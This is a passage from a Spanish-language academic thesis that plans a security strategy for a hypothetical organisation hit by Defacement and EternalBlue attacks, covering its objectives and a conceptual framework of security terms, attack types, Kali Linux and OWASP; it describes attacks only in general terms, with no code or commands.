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RESUMEN

El servidor web de una entidad hipotética ha sido victima de ataques Defacement y
Eternal Blue por parte de Black Hackers, en las sedes ubicadas en las ciudades de
Bogota y Cali respectivamente. Dado esto y al proceso de expansidn que inician en
el presente ano, la alta direccion ha decidido contratar a un experto en seguridad
informatica con el fin de realizar las pruebas de vulnerabilidad que ayuden a
descifrar el método de intrusién utilizado, y cada uno de los pasos que siguieron
para lograrlo. Para ello se utilizaran herramientas de analisis de seguridad como los
Nmap, Metasploit y OpenVas encontradas en la distribucién Kali Linux. Al final del
analisis se entregara un informe detallado del procedimiento llevado a cabo y de un
Plan Estratégico de Seguridad de la Informacion a implementar en la organizacion
con el fin de solventar los problemas de seguridad en los sistemas de informacion y
prevenir problemas futuros, con el fin de garantizar la seguridad en la prestacién de
los servicios a sus clientes.

Palabras clave: Vulnerabilidad, riesgos, seguridad, Plan Estratégico,
amenazas, normativas, ataques, ambiente de pruebas, PESI.
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INTRODUCCION

La masificacion de los sistemas de informacion y el aumento de las conexiones de
usuarios en internet ha conllevado a elevar la importancia de los temas referentes
a la seguridad informatica.

Garantizar la seguridad de la informacion se ha convertido en prioridad para las
organizaciones, ya que los atacantes estan a la orden del dia, al acecho esperando
cualquier oportunidad para tomar partido de estas y explotar las vulnerabilidades
detectadas en los sistemas, derivando en la necesidad de que cada dia surjan un
mayor tipo de soluciones relacionadas con ciber seguridad.

En el desarrollo de este trabajo se utilizan distintas técnicas de explotacion de
vulnerabilidades, asi como herramientas relacionadas con pruebas de penetracion
que ayudaran a comprobar la importancia de tener sistemas seguros a partir de
practicas realizadas en ambientes de prueba.

Colombia ocupa actualmente a nivel mundial el puesto numero 24 como objetivo de
ataques informaticos, de alli la importancia de la utilizacién de técnicas capaces de
garantizar sistemas informaticos seguros. (Asosec, 2018)

Normas como la ISO 27000 brindan una guia de la manera como se debe
desarrollar y como evitar vulnerabilidades en las implementaciones, no solo a nivel
l6gico sino también a nivel fisico. Se deben evaluar cada uno de los aspectos que
pueden hacer vulnerable un sistema, donde cada decisiéon tomada es importante y
donde tiene relevancia la realizacion de un analisis de las amenazas frente a riesgos
y el disefio de un plan que permita la implementaciéon de diferentes proyectos de
seguridad que permitan salvaguardar los sistemas de informacion de una
organizacion.

12



1. PLANTEAMIENTO DEL PROBLEMA

Una organizacion hipotética ha sido victima de ataques informaticos por parte de
black hackers, los cuales utilizaron ataques de Defacement y Eternal Blue. Estos
ataques afectaron el funcionamiento del servidor web de la ciudad de Bogota y el
servidor de la ciudad de Cali, viendose comprometida la confidencialidad de las
contrasefias y de la informacion de los usuarios almacenada en la base de datos.
Adicionalmente, dado al proceso de expansién que inicia este afio, la alta direccién
se encuentra preocupada por la seguridad de la informacion y de los sistemas que
maneja la organizacion y teme que no se entregue un servicio de calidad a sus
clientes, lo que puede derivar en la pérdida de sus clientes generando asi pérdidas
economicas para la organizacion.
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2. JUSTIFICACION

Una organizacion hipotética ha sido victima de ataques informaticos por parte de
black hackers, los cuales utilizaron ataques de Defacement y Eternal Blue. Estos
ataques afectaron el funcionamiento del servidor web de la ciudad de Bogota y el
servidor de la ciudad de Cali, viendose comprometida la confidencialidad de las
contrasefias y de la informacion de los usuarios almacenada en la base de datos.
Adicionalmente, dado al proceso de expansién que inicia este afio, la alta direccién
se encuentra preocupada por la seguridad de la informacion y de los sistemas que
maneja la organizacion y teme que no se entregue un servicio de calidad a sus
clientes.

El presente trabajo permite demostrar la importancia de la implementacion de
politicas y controles de seguridad sobre los sistemas de informacién de una
organizacion, pues a pesar de lo sensible que puede ser el tema de la falta de
disponibilidad, confiabilidad e integridad de la informacion se considera que en
muchas organizaciones no se brinda el manejo adecuado a esta situacion.

Es importante tener claro que ningun sistema es 100% seguro, por lo cual lo que se
busca dentro de una organizacion es llevar los riesgos a un nivel aceptable definido,
de tal forma que se minimice la exposicién de los activos de informacién a las
diferentes amenazas que puedan existir.

14



3. OBJETIVOS

3.1 OBJETIVO GENERAL

Disefiar un plan estratégico de Seguridad de la Informacién en una organizacion
que permita la aplicacién de controles y politicas que garanticen la correccién de
vulnerabilidades detectadas a través de diferentes herramientas de seguridad y
prevencion de diferentes ataques como Defacement y Eternal Blue.

3.2 OBJETIVOS ESPECIFICOS

e Configurar un ambiente de pruebas para el analisis de vulnerabilidad y ejecucion
de ataques Defacementy Eternal Blue

e Ejecutar los ataques Defacement y Eternal Blue en un ambiente controlado de
pruebas.

e Realizar el analisis de gestion de riesgos como parte del plan estratégico de
Seguridad de la Informacién.

e Sugerir a partir de los objetivos de la organizacion, el disefio de un Plan
Estratégico de la Seguridad de la Informacion basado en metodologias de la
gestion de riesgos informaticos.

15



4. MARCO REFERENCIAL

41 MARCO CONCEPTUAL Y TEORICO

Hoy en dia parte de las actividades cotidianas dependen del uso de los sistemas
informaticos', tanto que para que una organizacién funcione adecuadamente, sus
procesos de negocio se optimizan con el uso de herramientas tecnoldgicas. Dado
este crecimiento y su importancia en la actualidad, se debe garantizar la seguridad
informatica y la seguridad de la informacion.

Seguridad informatica: El término seguro segun la Real Academia de la lengua
espanola, es estar libre, apartado de todo dafio, amenaza, peligro u obstaculo. Por
lo tanto, en lo que respecta a la disciplina de seguridad informatica, implica el
procedimiento de disefio de normas, técnicas y métodos que faciliten la
estructuracién de un sistema de informacion seguro y confiable?.

Desde esta perspectiva, la seguridad informatica es una estructuracion de
ingenieria, creatividad fundamentada en criterios éticos y valores morales en sus
procesos normativos. Con ella se “protege la integridad y privacidad de la
informacion almacenada en un sistema informatico de cualquier tipo de amenaza™.

Puesto que el universo de los sistemas de informacion es vulnerable, pues puede
sufrir dafos, ataques, la pérdida de datos y multiples siniestros. Es alli donde se
hace indispensable para las empresas tener conocimientos de como definir y
garantizar la seguridad de sus herramientas informaticas®.

Las empresas sin una adecuada seguridad informatica son presa facil de los
ataques, ya que les es facil a los atacantes buscar y encontrar debilidades en los
sistemas abiertos en internet. La vulnerabilidad se evidencia en los servidores web
o los servidores de correo electronico, los cuales vienen a conformar un sistema de
frontera como una especie de interfaz entre internet y la red interna. La forma de
ataque sobre esta vulnerabilidad progresa desde esta frontera hasta la red interna
de la empresa vulnerando las maquinas, controles de dominio, servidores de
bandejas de correo electronico, entre otros.

" AGUILERA, Purificacion. Seguridad Informatica. Madrid: Editorial Editex, S.A, 2010. 9p

2 |bid.

3 BACA Daniel. Introduccién a la Seguridad Informatica. México: Grupo Editorial Patria, 2016. 12p.
4 CARPENTIER Jean-Francois. La seguridad Informatica en la PYME: Situacion actual y mejores
practicas. Barcelona: Ediciones ENI, 2016. 15p.
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Es muy importante para una empresa el proteger, preservar la informacién y la
integridad de su sistema informatico, ya que lo contrario implicaria la pérdida de
grandes sumas de dinero en su reparacién, unida a la pérdida de tiempo e
informacion valiosa. En fin, este conjunto de procedimientos, dispositivos y
herramientas se encargaran de asegurar la integridad, disponibilidad y privacidad
de la informacion®.

Seguridad de la informacién: La seguridad de la informacion dejo de ser en la
actualidad de uso exclusivo del gobierno en lo que respecta a secretos militares o
diplomaticas, a tener una amplia utilizacion de dimensiones inimaginables entre las
que estan: transacciones financieras, acuerdos contractuales, informacion personal,
comercio y negocios por internet entre otras aplicaciones. De alli que sea importante
que las necesidades de seguridad de la informacion potencial, en cualquier empresa
o entidad sean tenidas en cuenta y se elaboren para todo tipo de aplicaciones®.

La disciplina de la seguridad de los sistemas de informacion aun esta en continua
evolucion. El uso de la internet viene a ocupar un lugar imprescindible en la vida de
las personas, es un medio a través del cual se ha incrementado la actividad
econdmica a nivel mundial. Es por esta razoén, que lo ha llevado a constantes
peligros y amenazas globales que tienen gran impacto en la seguridad de la
informacion mundial y nacional. Ningun pais se escapa de sufrir las consecuencias
de un ataque a sus sistemas informaticos, el cual podria causar un dafio devastador
en la economia de un estado’.

Para asegurar la confianza en las redes y los sistemas de informacion se requiere
que los particulares, las empresas y las instituciones publicas estén lo mas
informados, educados y formados en lo que respecta a la seguridad de las redes y
de la informacién. Las politicas de seguridad eficientes deben estar fundamentados
en meétodos de evaluacion de riesgos bien estructurados, tanto en el sector privado
como en el estatal, esto incrementara satisfactoriamente el nivel de seguridad?®.

En todas las organizaciones tanto publicas como privadas, en sus sistemas de
informacion y manejo de datos esta en la obligacion de definir una estricta politica
de copias de seguridad, las cuales son duplicados de toda la informacién o parte de
ella, que se debe conservar en algun medio independiente en el que se encuentre
normalmente, puesto a que, en el caso de que se borre la informacién por un fallo

5 RASCAGNERES Paul. Seguridad Informatica y Malwares. Barcelona: Ediciones ENI, 2016. 17p.

8 ALEGRE, Maria y GARCIA, Alfonso. Seguridad Informatica Ed.11. Espafa: Paraninfo, 2011. 2p.

7 AREITIO Javier. 2008. Seguridad de la informacion: redes, informatica y sistemas de informacién,
p. 2. Espafa: PARANINFO.

8 REVISTA DE LA SEGUNDA CORTE DEL DOCTORADO DE SEGURIDAD ESTRATEGICA, 2014.
Seguridad de la informacion, p. 31. Guatemala: Universidad San Carlos de Guatemala

17



accidental en el sistema, si se ha creado la copia de seguridad no presentara ningun
problema en restaurarla®.

Confidencialidad: Es la caracteristica que asegura que los usuarios como:
personas, procesos, entre otros, no tengan acceso a los datos salvo que estén
autorizados para ello'°,

En el universo de la seguridad de la informacion, la confidencialidad es la proteccion
de los datos e informacion que se intercambia en los sistemas’’.

Para el desarrollo de la seguridad informatica se parte de las politicas, estandares
y procedimientos, controles de riesgos correspondientes tanto fisicos como légicos,
la clasificacion de la informacidn, la confidencialidad y la integridad, la seguridad de
los programas su disponibilidad y continuidad de las operaciones’?.

Solo a las personas autorizadas se les permite un acceso logico y una custodia
fisica. La informacién debe mantenerse bajo llave cuando no esta en uso'.

Integridad: Cuando se disefia una Base de Datos en un Sistema informatico
especifico y se escribe el esquema, no solamente se definen las estructuras de los
datos, sino que es de suma importancia establecer las reglas de integridad de la
Seguridad de la Base de Datos que se debe hacer cumplir. Existen dos reglas
fundamentales de integridad: las del usuario, las cuales son reglas propias de la
realidad que intenta representar las bases de datos que se quieren crear. La
segunda son las reglas de integridad adheridas al modelo de datos utilizado en el
sistema gestor de bases de datos™.

Existe diferencia entre la integridad de una unidad de datos y la integridad de la
secuencia de unidades de datos. Al elaborar la integridad de una unidad de datos
la entidad emisora integra una cantidad de reglas encriptadas con técnicas
simétricas o asimétricas en funcion de los datos, la cual es una informacion
suplementaria compuesta por codigos de control de bloqueos o un valor de control
criptografico. En la elaboracion de la integridad de la secuencia de datos es

9 GONZALEZ L. 2008. La sociedad de la informacién en Europa, p. 183. Madrid: Editorial REUS S.A.
' AGUILERA P. 2011. Politicas de almacenamiento y resguardo de la informacién, p.194. Madrid:
Editex.

" PACHECO F. y Jara H. 2012. Hackers al descubierto: advierta sus vulnerabilidades evite que lo
sorprendan, p.19. Argentina: USERS

2 PEQUENO M. 2015. MF0490_ 3. Gestién de servicio en sistema informatico, p.380. Esparia:
Editorial ELEARLING S.L

13 DEL PESO E. 2003. Manual de outsourcing informatico. Espaifia: Ediciones Diaz de Santos.h76
4 FISHER R. 1988. Seguridad en los sistemas informaticos, p. 178. Madrid: Ediciones Diaz de
Santos
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imprescindible una ordenacion explicita como: un ordenamiento criptografico, la
numeracion de secuencias o un sello de tiempo'®.

La integridad y disponibilidad de los datos es el bien juridico de una entidad publica
o privada, que esta protegido esencialmente en algunas de las figuras del delito
relacionadas con la informatica, la cual se comprende como la incolumidad de los
datos, su libre disposicion y mantenimiento en el término que los ha configurado su
duefio. Cuyo bien juridico apunta a la tutela de los datos en si mismos como objeto
de la proteccion penal'®.

Disponibilidad: Toda informacién debe estar disponible para los usuarios
autorizados, esto se define como: “grado en el que un dato esta en el momento,
lugar y forma como es solicitado por el usuario autorizado”, es cuando se accede a
un sistema de informacion en periodo de tiempo aceptable. Esta disponibilidad se
asocia a los sistemas de fiabilidad técnica de los componentes del sistema de
informacion?’.

La disponibilidad asegura que los recursos del sistema y la informacién pueda ser
accedida en cualquier momento solamente por los usuarios que tengan los permisos
para acceder’®,

Se disponen de varias copias de algunos archivos y cada una de ellas se encuentra
en un servidor de archivos independiente. La razon esencial de este procedimiento
informatico radica en que busca mejorar la confiabilidad y la disponibilidad, al
disponer de respaldos independientes de cada archivo'®.

Autenticidad: En el entorno de las redes y las comunicaciones, una variacion de
integridad es la autenticidad, la cual, facilita los medios para que se verifique de
donde provienen los datos y si es correcta su procedencia, ¢quién los envia?
¢cuando fueron enviados y recibidos? Tanto en el mundo financiero y

S MARCO Maria Jesus y Marco José Maria, 2010. Escaneando la informatica, p.152. Barcelona:
Editorial UOC.

6 ECHEVERRIA Guido, 2012. Procedimientos y medidas de seguridad informatica, p.165.

7 GONZALEZ Juan José, De la Mata Norberto, Morén Esther... Adan Carmen, 2007. Delito e
informatica algunos aspectos, p.17. Bilbao: Universidad de DEUSTO.

8 AGUILERA Purificacién, 2010. Seguridad Informatica, p. 11. Madrid: Editorial Editex, S.A.

9 PACHECO F. y Jara H. 2012. Hackers al descubierto: advierta sus vulnerabilidades evite que lo
sorprendan, p.19. Argentina: USERS.
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gubernamental, este aspecto de la seguridad informatica es supremamente
importante®.

La autenticidad implica que se puede confirmar que el mensaje recibido haya sido
enviado por quien asegura que lo envio y que este mensaje sea el que el receptor
estaba esperando. La criptografia asimétrica es la técnica mas usada para verificar
la autenticidad de un dato o mensaje, esta consiste en la firma digital, que de alguna
forma sustituye la firma autégrafa comdn?'.

Los mecanismos de proteccion deben garantizar la integridad, secreto y
autenticidad del trayecto en dos importantes estados del movil: en el transito o
migracion ejecutados en una plataforma, en la migracion el trayecto no puede ser
manipula ni accedido ni su origen falsificado. De esta forma, las aplicaciones
fundamentadas en mdviles son adecuadas en contextos donde existe una fuerte
competencia entre plataformas con lealtad a los usuarios?.

No repudio: Los servicios de no repudio brindan a los usuarios involucrados en
intercambios electrénicos de datos, amparo contra cualquier usuario que niegue que
realizo transferencia o entrega de informacion en el lugar o memento en que se
produjo. Aun cuando estos servicios pueden impedir que un usuario niegue la
existencia de un suceso, aseguran la disponibilidad de evidencias irrefutables para
solucionar rapida y justamente la controversia entre emisores y receptores?:.

No repudio de Origen, es imposible que el emisor niegue su envio, puesto a que el
destinatario tendra las pruebas de lo enviado, él recibe una prueba infalsificable del
origen del envio. Por otra parte, el no repudio de destino, no puede negar el receptor
que recibié el mensaje, puesto a que el emisor tiene la evidencia de haberlo enviado.
Este servicio le brinda al emisor la prueba de que el destinatario legitimo lo recibio?*.

Los servicios de no repudio se utilizan fundamentalmente en los sistemas de
transmision de mensajes y el comercio electrénico. Sus protocolos generan

20 ORJUELA, Juan. Disefio de una arquitectura web distribuida de alta disponibilidad para
sistemas de educacion a distancia por medio de Oracle WebLogic Server. [En linea]. Juan Jose
Orjuela castillo. Disponible en https://books.google.com.co/books?id=eyq7BgAAQBAJ

21 SANCHEZ José Salvador, Chalmeta Ricardo, Oscar Coltell, Monfort Pilar y Campo Cristina.2003.
ingenieria de proyectos informaticos: actividades y procedimientos, p.103. Espafia: Universidad de
Jaume

22 GARCIA Héctor, 2006. Avances en informatica y sistemas computacionales (CONAIS 2006), p.
122. México: Universidad Juarez Autonoma de Tabasco).

23 Ramos Benjamin y Ribagorda Arturo, 2004. Avances en criptologia y seguridad de la informacion,
p. 353. Madrid: Diaz de Santos.

24 AREITIO Javier. 2008. Seguridad de la informacion: redes, informatica y sistemas de informacion,
p. 384. Espaia: Paraninfo.
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evidencias que garantizan los servicios de no repudio, en caso de discordias, un
juez, evalla las evidencias y toma una decision a favor de una de las partes?.

Amenaza: La amenaza es un acontecimiento que produce incidentes en una
empresa u organizacion, ocasionando dafos materiales o pérdidas de sus activos
intangibles. Su naturaleza potencial es una accion, interrupcion o falta de accién
ubicada lejos del control de los encargados de la seguridad. Las consecuencias de
las amenazas si se materializan, modificaran el estado de seguridad de los activos
amenazados. Por lo tanto, existen multiplicidad de consecuencias, por lo hay que
tener en cuenta al analizar la entidad del impacto, de igual manera existen cuatro
causas especificas de amenazas estas son: no humanas o accidentes, humanas
pero involuntarias o errores, intencionales humanas con presencia fisica y humanas
intencionales de procedencia remota®.

Las amenazas mas frecuentes son:

e Usuarios: Ciertas acciones realizadas por algunos usuarios pueden resultar
dafiinas dado que tienen permisos sobre dimensionados y no se les restringe de
acciones innecesarias.

e Programas maliciosos: estan destinados a perjudicar y hacen uso ilicito de los
recursos del sistema. Son instalados por maldad o falta de atencién en el
ordenador, un sistema operativo, un programa o un sistema de operacion, el cual
abre puertas a los intrusos o modifica los datos.

e Virus informatico: es un programa malicioso cuyo objetivo es alterar el buen
funcionamiento del ordenador, sin permiso o conocimiento del usuario.
Normalmente sustituyen los archivos ejecutables por otros infectados con el
cédigo de él. Ellos pueden eliminar de forma intencionada, datos almacenados
en la computadora.

e Gusano informatico: es un programa malicioso, que tiene la propiedad de
multiplicarse a si mismo. Se ubica en las partes de un sistema operativo y son
invisibles para el usuario, se propagan de ordenador a ordenador, sin embargo,
son diferentes a un virus, porque se propagan sin la ayuda de una persona, lo
mas letal de ellos es esa capacidad de multiplicarse en el sistema.

e Eltroyano: es un programa malicioso, que se presenta aparentemente inofensivo
ante el usuario, que al ejecutarlo realiza un fuerte ataque remoto al equipo.

e Programa espia o spyware: recopila informacion de un ordenador y luego la
transmite a una entidad externa sin el conocimiento y consentimiento del dueio.
Este término también es utilizado para referirse a otros productos que no son
espias, los cuales realizan las funciones de mostrar anuncios no solicitados (pop
up), recopilar informacion privada, redireccionar solicitudes de paginas e instalar
marcadores de teléfonos.

25 TERAN David, 2014. Administracién estratégica de la funcion informatica. México: ALFAOMEGA
26 RAMOS Benjamin y Ribagorda Arturo, 2004. Avances en criptologia y seguridad de la informacién,
p. 279. Madrid: Diaz Santos.
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Error de programacion: la mayoria de ellos son una amenaza informatica por
causas intencionales, también se dan casos en las que el desarrollo es, en si
mismo, una amenaza. Lo que permite contrarrestar este tipo de amenazas es la
actualizacion de parches de los sistemas operativos.

Intrusos: personas que acceden a los datos o programas sin autorizacion
(Crackers, Hackers, script kiddie o script boy, entre otros)?’.

Ataque: cuando se quiere llevar a cabo un ataque informatico, el intruso debe
disponer de los medios técnicos, conocimientos y herramientas adecuadas, contar
con una determinada motivacion o finalidad y contar con una determinada
oportunidad que le facilite el ataque. Los ataques contra ordenadores y sistemas
informaticos constan de las siguientes etapas a saber:

Descubrimiento y exploracion del sistema.

Indagacién sobre las vulnerabilidades del sistema.

Explotacion de las vulnerabilidades detectadas con herramientas “exploits”.
Corrupcion o compromiso del sistema.

Eliminacién de pruebas que revelen el ataque y compromiso del sistema?.

La persona no autorizada que desea obtener informacién emplea algun tipo de
ataque informatico, estos ataques se dividen en dos grupos a saber: ataques
pasivos y ataques activos.

Los pasivos son:

Espionaje o Surveillance: se observa el entorno y se recopila la informacion de la
tipologia de la red. Para ser empleada en sucesivos ataques.

Escuchas o sniffing: el objetivo es monitorearla red para captar informacion, paso
previo de ataques posteriores (MAC o IP) origen y destino.

Ataques de contrasenas: se utiliza la contrasefia de un usuario autorizado para
descifrar cédigos encriptados.

27 MOLINER Lépez Francisco Javier, 2005. Informaticos de la generalitat valenciana grupos A y B.

bloque especifico, temario volumen I, p. 203. Espafa: Editorial MAD.

2 EDITORIAL CEP, 2017. Cuerpo auxiliar (C2). Junta de comunidades de Castilla. La Mancha.
Temario. p. 32. Madrid: Editorial CEP.

22



Los ataques activos, modifican el flujo de datos o se crean flujos falsos en la
transmision de datos, estos son los ataques:

e Ataque de denegacion de servicios: consiste en colapsar total o parcialmente un
servidor para que este no pueda realizar su tarea, se inunda el servidor con una
gran cantidad de solicitudes para saturarlo. Ejecutado a través de una red zombis.

e Phishing: Es un tipo de ataque que se utiliza para engafiar a la victima a través
del envio de correos electrénicos o falsificacion de sitios web, con el fin de
solicitarle informacion personal.

e Spam: mensajes de todo tipo que no han sido solicitados por el usuario.

e Spoofing: suplanta validaciones, credenciales e identificadores estaticos.

e Man in the Middle: basado en spoofing que se interpone entre dos sistemas.
Intercepta y selectivamente modifica los datos de la comunicacion para suplantar
la identidad de los usuarios.

e Secuestro de sesiones o hijacking: usa el spoofing para robar la sesidn entre dos
usuarios al tomar la conexién existente.

e (Codigo malicioso: se introduce en un sistema con un fin malicioso y no autorizado
(hardware, software, firmware).

e Hoax: es un falso mensaje de correo electronico distribuido en cadena, que
congestiona las redes y los servidores de correo?®.

Segun la motivacion y el interés de un ataque informatico es lo que lo puede
convertir en un delito penal, esto si es verdaderamente serio. Si la gravedad del
ataque afecta la seguridad de una nacion o es a nivel internacional sera tratado por
una jurisdiccion penal a través de la Corte Penal Internacional®.

Defacement: Es cuando el atacante accede y lleva a cabo el segundo de los
ataques mas tipicos de internet, el defacement o desfiguracion, suplanta el
contenido real del sitio atacado por uno que instalan los hackers, el cual es
reivindicativo®'.

Es la manipulacion del programa, causando alteraciones de las instrucciones con
que ha sido disefiado en su configuracién original, con el fin de que actue de forma

29 GOMEZ Alvaro, 2017. Enciclopedia de la seguridad informatica. 2° edicién. Espafia: Ra-Ma.

30 VALDIVIA Carlos, 2017. Informatica industrial, p. 84. Madrid: Paraninfo.

31 AMBOS KA, 2015. Responsabilidad penal internacional en el ciberespacio, p. 13. Colombia:
Universidad Externado de Colombia.
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diferente, logrando de esta forma la desfiguracion de los datos correctamente
introducidos®.

Eternal Blue: Estos exploits son utilizados por cualquier pirata informatico que
desee aprovecharse de las vulnerabilidades de un sistema informatico, por su
naturaleza no necesita del usuario para infestar, ya que llega simplemente a través
de la red y se propaga automaticamente a otros ordenadores, para protegernos esta
peligrosa amenaza se hace necesario, instalar los parches de seguridad que
corrigen estos problemas?3.

Eternal Blue es la vulnerabilidad que ha hecho tan letales estas ultimas campafas
de ramsonwatre: a través de este agujero de seguridad en Windows, hasta el virus
mas simple tiene la capacidad de infectar en cuestion de segundos a todos los
ordenadores que estén conectados a una misma red. Dado que existe mucha
confusion acerca de qué versiones de Windows estan protegidas ante esta
amenaza (lo estan hasta las mas antiguas), la herramienta de Eternal Blues es ideal
para todo aquel que quiera asegurar que en su red no hay ningun equipo vulnerable
a uno de estos ataques®*.

Eternal Blues es una aplicacion gratuita que, con un solo clic, permite comprobar si
un ordenador, o cualquier otro conectado a la red local, es vulnerable ante Eternal
Blue y se puede llegar a ser victimas de los piratas informaticos o, de lo contrario,
los ordenadores estan protegidos y no hay peligro de infectarlos con estas
vulnerabilidades. La herramienta es muy util tenerla a la mano, sobre todo en
entornos corporativos donde los sistemas son mas heterogéneos®.

Riesgo: el riesgo informatico, es un nuevo concepto en la terminologia juridica, el
cual no tiene una definicion especifica. Sin embargo, este refiere a la incertidumbre

32 CASAS, Eduardo. La red oscura: En las sombras de Internet: el cibermiedo y la persecucion de
los delitos tecnologicos. [En linea). Madrid: La Esfera de los Libros. Disponible en
https://books.google.com.co/books?id=GonFDQAAQBAJ&printsec=frontcover&hl=es&source=gbs
ge_summary_r&cad=0#v=onepage&q&f=false

33 VARIOS AUTORES, 2017. Policia Nacional Escala Ejecutiva Inspector: volumen Ill, p. 54. Madrid:
Editorial CEP.

34 VELASCO, Rubén. Comprueba si eres vulnerable al exploit EternalBlue con Eternal Blues. [En
linea]. Disponible en https://www.softzone.es/2017/06/30/comprobar-vulnerabilidad-eternalblue

35 MOTYKA, Jakub. Esta herramienta te dice si tienes un PC vulnerable a Eternal Blue. [En lineal].
Disponible en https://computerhoy.com/noticias/software/esta-herramienta-te-dice-si-tienes-pc-
vulnerable-eternal-blue-64460
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o probabilidad de que ocurra o se realice una amenaza o dafo a bienes y servicios
informaticos®®.

Riesgos fisicos y riesgos légicos, son los dos tipos de riesgos a los que se exponen
los sistemas de informacion y de cuya minimizacion esta a cargo de la seguridad
informatica:

Riesgos Logicos: son muy peligrosos y dificiles de detectar estan asociados a la
tecnologia de los propios sistemas de informacion y afectan directamente el
software. Las alteraciones que se le hacen al funcionamiento del sistema le
ocasionan dafos irreparables, se realizan con codigos maliciosos.

Riesgos fisicos: son aquellos que afectan la continuidad de los procesos de
negocios de una organizacion al afectar la disponibilidad de la informacion su
activo mas preciado®’.

Las minimas medidas de seguridad que deben realizarse para generar la confianza
del usuario son:

El analisis de los riesgos de cualquier tipo de sistemas de informacion o de sus
elementos, observando y conjuntando las estimaciones de su vulnerabilidad ante
las amenazas y el impacto o dafio que una mala seguridad puede tener la
organizacion.

A partir de la gestidn de los riesgos, con base en el analisis, se deben seleccionar
las medidas de seguridad adecuadas para conocer, prevenir, impedir, reducir y
controlar los riesgos identificados®.

DMZ: Es un ambiente de subred ubicado entre una red interna de confianza y una
red externa no segura. Los servidores instalados en la parte externa de la DMZ
ofrecen servicios a la red externa, estos pueden ser:

e Servidores web, de archivos, de correo y servidores de nombres.

36 ALEJANDRO. Utilidad para testear la vulnerabilidad a Eternal Blue. [En linea]. Disponible en
https://protegermipc.net/2017/07/03/utilidad-para-testear-la-vulnerabilidad-a-eternalblue

37 TELLEZ Julio, 1988. Contratos, riesgos y seguros informaticos, p. 33. México: Universidad
Nacional Auténoma de México.
3 PEQUENO Maria Victoria, 2015. MF0490_3-Gestién de servicio en sistema informatico, p. 56.
Espafia: Editorial ELEARLING.
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e Servidores de relevo que permiten garantizar una comunicacion indirecta entre
la red local y la red de internet®®

De esta forma, los equipos de una red perimetral o zona desmilitarizada
proporcionan servicios a la red externa y lo hace para proteger a la red interna, ya
que por su configuracion cualquier intruso ataca primero a la DMZ y no se le permite
el ingreso a la red interna®.

Vulnerabilidad: es la debilidad de un sistema informatico, que es aprovechada
por intrusos para ocasionar pérdidas o danos. Existe una analogia muy clara en
cierta terminologia de la seguridad informatica, en el sentido de que una exposicion
es analoga a un accidente y vulnerabilidad es analoga a una contingencia*'.

La vulnerabilidad de un sistema informatico es la probabilidad de que una amenaza
se materialice sobre un activo. Para investigarla debe estar a cargo un profesional
que conozca profundamente los activos del sistema de informacién y las amenazas
y riesgos que pueden sufrir.

Las siguientes son tres tipos de vulnerabilidades:

e Vulnerabilidad intrinseca, proviene directa y exclusivamente del activo y de la
amenaza.

e Vulnerabilidad efectiva, se ha originado a partir de una salvaguarda ya
existente en el sistema de informacion.

e Vulnerabilidad residual, se genera por la aplicacion de salvaguardas
implantadas siguiendo el resultado del proceso de analisis y gestion de
riesgos*2.

39 CARVAJAL Francisco, 2017. Gestion de servicios en el sistema informatico, p. 88. Madrid: Editorial
CEP.

40 CARPENTIER Jean-Francois, 2016. La seguridad informatica en la PYME: situaciéon actual y
mejores practicas, p. 89. Barcelona: Ediciones ENI.

41 BACA Gabriel, 2016. Introduccion a la seguridad informatica, p. 209. México: Grupo Editorial
Patria.

42 SOMMERVILLE lam, 2005. Ingenieria del software, séptima edicién, p.54. Madrid: PEARSON.
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Cuando se detecta una vulnerabilidad nueva se crea un filtro especifico y se afiade
al sistema de prevencion de intrusos (/PS, por sus siglas en inglés), de modo que
cualquier intento malicioso se bloquee de forma automatica®3.

Firewall: Es un sistema de defensa basado en el hecho de que todo trafico de
entrada o salida en la red debe pasar obligatoriamente por el sistema de seguridad
que sea capaz de autorizar, denegar y tomar nota de todo lo que sucede, acorde
con las politicas de acceso entre redes.

El firewall no es solo un programa, es un conjunto de medidas hardware y software
destinadas a asegurar las instalaciones de la red*.

Un firewall es una parte de un sistema o una red que se disefié para bloquear el
acceso no autorizado de intrusos y permite al mismo tiempo las comunicaciones
que se han autorizado*®.

El firewall tiene limitaciones, es simplemente un filtro que atraviesa la informacion
cuando transita a partir de redes o la computadora personal, de alli que las
amenazas se mantienen vigentes si estos ataques traspasan el firewall, puesto que
el filtrado de la informacion no es estricto. Un firewall tampoco puede proteger de
ataques internos a una organizacion o de las amenazas ocasionadas por usuarios
descuidados y negligentes?.

Kali Linux: Es una distribucion derivada de Debian, que se especializa en pruebas
de penetracidon. Provee software para auditar la seguridad de una red o equipo en
el que se ejecuta, y analiza resultados después del ataque, también conocido como
informatica forense®’.

LiveCD Linux ha adquirido gran fama y respeto en el mundo de la seguridad
informatica, la distribucion Kali que sucede a Backtrack. Puede ejecutarse o
instalarse desde un liveCD. Engloba multiples utilidades de pentesting para auditar

43 CHICANO Esther, 2014. MF0487_3: Auditoria de seguridad informatica. Malaga: IC Editorial.

44 CHICANO Esther, 2014. Gestion de servicios en el sistema informatico. IFCT0509. Malaga: IC
Editorial.

45 VARIOS AUTORES, 2016. Técnicos especialistas en radiodiagndsticos: servicio andaluz de salud
(SAS), p. 358. Madrid: Editorial CEP.

46 CARVAJAL Francisco, 2017. Gestion de servicios en el sistema informatico, p. 73. Madrid: Editorial
CEP.

47 BACA Gabriel, 2016. Introduccion a la seguridad informatica, p. 218. México: Universidad
Auténoma).
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sistemas informaticos y contiene lo necesario para obtener bases de datos de
usuarios Windows*e.

OWASP: Es una organizacion sin animo de lucro y no esta afiliada a ninguna
compafia de tecnologia, esta en una posiciéon unica para facilitar informacion
imparcial y practica sobre AppSec (Seguridad en Aplicaciones) a personas,
corporaciones, universidades, agencias gubernamentales y otras organizaciones en
todo el mundo. Publica herramientas de software y documentacion basada en el
conocimiento sobre la seguridad de las aplicaciones*.

Las recomendaciones del proyecto OWASP, para evaluar la seguridad de las
aplicaciones web, asi como en la guia de pruebas de seguridad de red. Se
identifican las vulnerabilidades y se utiliza el estandar CVE, el cual se encarga de
asignar un identificador unico a cada vulnerabilidad publicada, facilitando su
seguimiento y control®°.

Segun la Open Web Application Security Project (OWASP, Proyecto abierto de
seguridad en aplicaciones web), los principales problemas de seguridad
relacionados con aplicaciones internas son:

Almacenamiento de datos no seguro

Controles débiles del lado de los servidores

Falta de protecciones correctas en las capas de la red
Autenticacion y proteccidn de accesos erroneas

Inicio de sesidn incorrectos

Problemas de cifrado®'.

4.2 MARCO LEGAL

El gran auge de la tecnologia y su aplicacion masiva en los sistemas de informacion,
conllevo desafortunadamente al incremento en la realizacién de ilicitos, por tal
